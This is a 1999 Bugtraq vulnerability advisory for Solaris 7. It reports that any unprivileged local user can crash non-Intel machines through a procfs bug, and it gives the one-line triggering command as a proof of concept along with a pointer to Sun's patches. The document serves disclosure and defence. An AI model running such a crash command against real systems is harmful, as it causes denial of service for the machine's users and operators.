Solaris procfs Vulnerability

BID:448

Info

Solaris procfs Vulnerability

Bugtraq ID: 448
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: No
Local: Yes
Published: Mar 09 1999 12:00AM
Updated: Mar 09 1999 12:00AM
Credit: First posted to BugTraq by Toomas Soome <[email protected]> on March 9, 1999. Followup message posted to BugTraq posted by Toomas Soome <[email protected]> on March 11, 1999.
Vulnerable: Sun Solaris 7.0
Not Vulnerable: Sun Solaris 7.0_x86

Discussion

Solaris procfs Vulnerability

A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:

more /proc/self/psinfo

This is due to a bug in the Solaris 7 procfs.

Exploit / POC

Solaris procfs Vulnerability

%more /proc/self/psinfo

[crash]

Solution / Fix

Solaris procfs Vulnerability

Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com


Sun Solaris 7.0

References

Solaris procfs Vulnerability

References:

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